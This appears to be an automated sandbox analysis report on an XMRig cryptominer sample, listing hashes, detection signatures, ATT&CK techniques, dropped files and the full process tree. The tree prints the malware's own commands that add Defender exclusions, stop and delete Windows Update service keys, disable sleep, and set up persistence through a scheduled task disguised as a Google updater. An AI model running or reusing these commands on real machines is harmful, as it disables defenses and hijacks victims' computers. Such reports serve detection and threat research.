xmrig | 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859

General

Target

dmi1dfg7n.exe
Size

2.8MB
MD5

9253ed091d81e076a3037e12af3dc871
SHA1

ec02829a25b3bf57ad061bbe54180d0c99c76981
SHA256

78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
SHA512

29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
SSDEEP

49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6

Score

10^/10

xmrig evasion miner upx

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 13 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/564-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/564-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/564-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/564-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/564-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/564-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/564-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/564-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/564-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/564-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/564-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/564-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/564-138-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1424 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

904 taskeng.exe

pid	process
1424	updater.exe

pid	process
904	taskeng.exe

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/564-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/564-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/564-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/564-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/564-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/564-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/564-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/564-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/564-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/564-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/564-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/564-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/564-138-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

dmi1dfg7n.exeupdater.exe

description	pid	process	target process
PID 2012 set thread context of 1476	2012	dmi1dfg7n.exe	dialer.exe
PID 1424 set thread context of 1188	1424	updater.exe	dialer.exe
PID 1424 set thread context of 564	1424	updater.exe	dialer.exe

Drops file in Program Files directory 4 IoCs

Processes:

dmi1dfg7n.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	dmi1dfg7n.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Drops file in Windows directory 4 IoCs

Processes:

dialer.exe

description	ioc	process
File opened for modification	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File created	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File created	C:\Windows\Tasks\dialersvc32.job	dialer.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1904 sc.exe
1244 sc.exe
548 sc.exe
1936 sc.exe
1176 sc.exe
1384 sc.exe
1112 sc.exe
1448 sc.exe
616 sc.exe
856 sc.exe
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

760 schtasks.exe
1868 schtasks.exe

pid	process
1904	sc.exe
1244	sc.exe
548	sc.exe
1936	sc.exe
1176	sc.exe
1384	sc.exe
1112	sc.exe
1448	sc.exe
616	sc.exe
856	sc.exe

pid	process
760	schtasks.exe
1868	schtasks.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b07d2f63d746d901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedialer.exe

pid	process
1984	powershell.exe
572	powershell.exe
1928	powershell.exe
1488	powershell.exe
844	powershell.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe
564	dialer.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

464

pid	process
464

Suspicious use of AdjustPrivilegeToken 39 IoCs

Processes:

powershell.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exeupdater.exeWMIC.exedialer.exe

description	pid	process
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeShutdownPrivilege	1936	powercfg.exe
Token: SeDebugPrivilege	572	powershell.exe
Token: SeShutdownPrivilege	944	powercfg.exe
Token: SeShutdownPrivilege	1112	powercfg.exe
Token: SeShutdownPrivilege	1548	powercfg.exe
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeShutdownPrivilege	1996	powercfg.exe
Token: SeShutdownPrivilege	1748	powercfg.exe
Token: SeDebugPrivilege	844	powershell.exe
Token: SeShutdownPrivilege	1204	powercfg.exe
Token: SeShutdownPrivilege	1360	powercfg.exe
Token: SeDebugPrivilege	1424	updater.exe
Token: SeAssignPrimaryTokenPrivilege	472	WMIC.exe
Token: SeIncreaseQuotaPrivilege	472	WMIC.exe
Token: SeSecurityPrivilege	472	WMIC.exe
Token: SeTakeOwnershipPrivilege	472	WMIC.exe
Token: SeLoadDriverPrivilege	472	WMIC.exe
Token: SeSystemtimePrivilege	472	WMIC.exe
Token: SeBackupPrivilege	472	WMIC.exe
Token: SeRestorePrivilege	472	WMIC.exe
Token: SeShutdownPrivilege	472	WMIC.exe
Token: SeSystemEnvironmentPrivilege	472	WMIC.exe
Token: SeUndockPrivilege	472	WMIC.exe
Token: SeManageVolumePrivilege	472	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	472	WMIC.exe
Token: SeIncreaseQuotaPrivilege	472	WMIC.exe
Token: SeSecurityPrivilege	472	WMIC.exe
Token: SeTakeOwnershipPrivilege	472	WMIC.exe
Token: SeLoadDriverPrivilege	472	WMIC.exe
Token: SeSystemtimePrivilege	472	WMIC.exe
Token: SeBackupPrivilege	472	WMIC.exe
Token: SeRestorePrivilege	472	WMIC.exe
Token: SeShutdownPrivilege	472	WMIC.exe
Token: SeSystemEnvironmentPrivilege	472	WMIC.exe
Token: SeUndockPrivilege	472	WMIC.exe
Token: SeManageVolumePrivilege	472	WMIC.exe
Token: SeLockMemoryPrivilege	564	dialer.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

dmi1dfg7n.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 2012 wrote to memory of 1984	2012	dmi1dfg7n.exe	powershell.exe
PID 2012 wrote to memory of 1984	2012	dmi1dfg7n.exe	powershell.exe
PID 2012 wrote to memory of 1984	2012	dmi1dfg7n.exe	powershell.exe
PID 2012 wrote to memory of 472	2012	dmi1dfg7n.exe	cmd.exe
PID 2012 wrote to memory of 472	2012	dmi1dfg7n.exe	cmd.exe
PID 2012 wrote to memory of 472	2012	dmi1dfg7n.exe	cmd.exe
PID 2012 wrote to memory of 968	2012	dmi1dfg7n.exe	cmd.exe
PID 2012 wrote to memory of 968	2012	dmi1dfg7n.exe	cmd.exe
PID 2012 wrote to memory of 968	2012	dmi1dfg7n.exe	cmd.exe
PID 2012 wrote to memory of 572	2012	dmi1dfg7n.exe	powershell.exe
PID 2012 wrote to memory of 572	2012	dmi1dfg7n.exe	powershell.exe
PID 2012 wrote to memory of 572	2012	dmi1dfg7n.exe	powershell.exe
PID 472 wrote to memory of 1904	472	cmd.exe	sc.exe
PID 472 wrote to memory of 1904	472	cmd.exe	sc.exe
PID 472 wrote to memory of 1904	472	cmd.exe	sc.exe
PID 968 wrote to memory of 1936	968	cmd.exe	powercfg.exe
PID 968 wrote to memory of 1936	968	cmd.exe	powercfg.exe
PID 968 wrote to memory of 1936	968	cmd.exe	powercfg.exe
PID 472 wrote to memory of 1176	472	cmd.exe	sc.exe
PID 472 wrote to memory of 1176	472	cmd.exe	sc.exe
PID 472 wrote to memory of 1176	472	cmd.exe	sc.exe
PID 472 wrote to memory of 1244	472	cmd.exe	sc.exe
PID 472 wrote to memory of 1244	472	cmd.exe	sc.exe
PID 472 wrote to memory of 1244	472	cmd.exe	sc.exe
PID 968 wrote to memory of 944	968	cmd.exe	powercfg.exe
PID 968 wrote to memory of 944	968	cmd.exe	powercfg.exe
PID 968 wrote to memory of 944	968	cmd.exe	powercfg.exe
PID 968 wrote to memory of 1112	968	cmd.exe	powercfg.exe
PID 968 wrote to memory of 1112	968	cmd.exe	powercfg.exe
PID 968 wrote to memory of 1112	968	cmd.exe	powercfg.exe
PID 472 wrote to memory of 548	472	cmd.exe	sc.exe
PID 472 wrote to memory of 548	472	cmd.exe	sc.exe
PID 472 wrote to memory of 548	472	cmd.exe	sc.exe
PID 968 wrote to memory of 1548	968	cmd.exe	powercfg.exe
PID 968 wrote to memory of 1548	968	cmd.exe	powercfg.exe
PID 968 wrote to memory of 1548	968	cmd.exe	powercfg.exe
PID 472 wrote to memory of 1384	472	cmd.exe	sc.exe
PID 472 wrote to memory of 1384	472	cmd.exe	sc.exe
PID 472 wrote to memory of 1384	472	cmd.exe	sc.exe
PID 472 wrote to memory of 1640	472	cmd.exe	reg.exe
PID 472 wrote to memory of 1640	472	cmd.exe	reg.exe
PID 472 wrote to memory of 1640	472	cmd.exe	reg.exe
PID 472 wrote to memory of 1868	472	cmd.exe	reg.exe
PID 472 wrote to memory of 1868	472	cmd.exe	reg.exe
PID 472 wrote to memory of 1868	472	cmd.exe	reg.exe
PID 472 wrote to memory of 932	472	cmd.exe	reg.exe
PID 472 wrote to memory of 932	472	cmd.exe	reg.exe
PID 472 wrote to memory of 932	472	cmd.exe	reg.exe
PID 572 wrote to memory of 760	572	powershell.exe	schtasks.exe
PID 572 wrote to memory of 760	572	powershell.exe	schtasks.exe
PID 572 wrote to memory of 760	572	powershell.exe	schtasks.exe
PID 472 wrote to memory of 1692	472	cmd.exe	reg.exe
PID 472 wrote to memory of 1692	472	cmd.exe	reg.exe
PID 472 wrote to memory of 1692	472	cmd.exe	reg.exe
PID 472 wrote to memory of 1644	472	cmd.exe	reg.exe
PID 472 wrote to memory of 1644	472	cmd.exe	reg.exe
PID 472 wrote to memory of 1644	472	cmd.exe	reg.exe
PID 2012 wrote to memory of 1476	2012	dmi1dfg7n.exe	dialer.exe
PID 2012 wrote to memory of 1476	2012	dmi1dfg7n.exe	dialer.exe
PID 2012 wrote to memory of 1476	2012	dmi1dfg7n.exe	dialer.exe
PID 2012 wrote to memory of 1476	2012	dmi1dfg7n.exe	dialer.exe
PID 2012 wrote to memory of 1928	2012	dmi1dfg7n.exe	powershell.exe
PID 2012 wrote to memory of 1928	2012	dmi1dfg7n.exe	powershell.exe
PID 2012 wrote to memory of 1928	2012	dmi1dfg7n.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe
"C:\Users\Admin\AppData\Local\Temp\dmi1dfg7n.exe"
1⤵
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1984

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:472

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:1904

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1176

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1244

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:548

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1384

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:1640

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:1868

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
- Modifies security service
PID:932

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:1692

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:1644

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:968

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1936

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:944

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1112

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:572

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:760

C:\Windows\system32\dialer.exe
C:\Windows\system32\dialer.exe
2⤵
- Drops file in Windows directory
PID:1476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1928

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
3⤵
PID:1664

C:\Windows\system32\taskeng.exe
taskeng.exe {22AEDB25-F51A-4B98-98B1-939073AE8309} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
PID:904

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:1424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1488

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:376

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:1936

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:1112

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:1448

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:616

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:856

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
4⤵
PID:1336

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
4⤵
PID:1644

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
4⤵
PID:676

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
4⤵
PID:760

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
4⤵
PID:820

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
PID:524

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1996

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1748

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1204

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1360

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:844

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
4⤵
- Creates scheduled task(s)
PID:1868

C:\Windows\system32\dialer.exe
C:\Windows\system32\dialer.exe xtrjicqmdliu
3⤵
PID:1188

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
4⤵
- Drops file in Program Files directory
PID:1572

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
5⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:472

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
PID:1924

C:\Windows\system32\dialer.exe
C:\Windows\system32\dialer.exe wvhbfinhdckusjju 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeXwQ/O4+due3etuok0KCy6TAeBBK2Zj7dzTkc9P7Txuspl/ztFHeT1vDsXwtgxIFZnxGXI+P7h6Wy2BaqsXFRrbRIyylpVUfDVtjurLuTI6hfYZYlaT2c8T3z2D8KilAioXHHI3GdcX8L+5AQJHhaF3EikxjkII2qRl4IAJt0ne1Kthho/EoWoWqiJ8V46anYGIeeueaKL6G4gUS0jG8bW+uOPYpliibsIQvftJQy3GdQNbdmaQoQosbMtF/zsQIOPYtzoBcdM/sdKVWCIsST/Py6kltT+qpekCzJYBFF4LST+8+EmmopPFkm4CPe5KhMiY/+g/sQ7d50uqIjFwwoHwsdnFS1l7B7kznzCIpeqO/4VPcOjXZ8D/gqWFx/7uyyvuxXByWtdfg2SHIbTo9ax767hx8DEZJobkKiCLCF5s3S9KZPJ6oc8SVkEHvmPn3ocLOCMVNSrrmyVksnNDnuU8b1vWVxnieD7xm0UnpffWA=
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:564

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

2

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Impair Defenses

1

T1562

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
2.8MB

MD5
eb27bb8cfa99d659e4fe023e9002ecd1

SHA1
c783400302fdfae0518269c5a5a8d4bad29f42a3

SHA256
9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f

SHA512
ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
2.8MB

MD5
eb27bb8cfa99d659e4fe023e9002ecd1

SHA1
c783400302fdfae0518269c5a5a8d4bad29f42a3

SHA256
9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f

SHA512
ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
c51a9e4a5121bd3e9fea8644c4aaa465

SHA1
c1b8a00f8108df2e99c857a3b5bc5023b0731771

SHA256
a6e9e6c135d036bb261b8bb3c78bf0f1866307fc3ac6e2abdb93e5f811737df4

SHA512
b83a9bd96e4db510ddde3b103f00c5e71f448a6a24c6cacca9863dd860bc24b763098c79a78ffd39561ed70f67a4ee00318ef8e00cb66e882392fa902ec2af89

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
c51a9e4a5121bd3e9fea8644c4aaa465

SHA1
c1b8a00f8108df2e99c857a3b5bc5023b0731771

SHA256
a6e9e6c135d036bb261b8bb3c78bf0f1866307fc3ac6e2abdb93e5f811737df4

SHA512
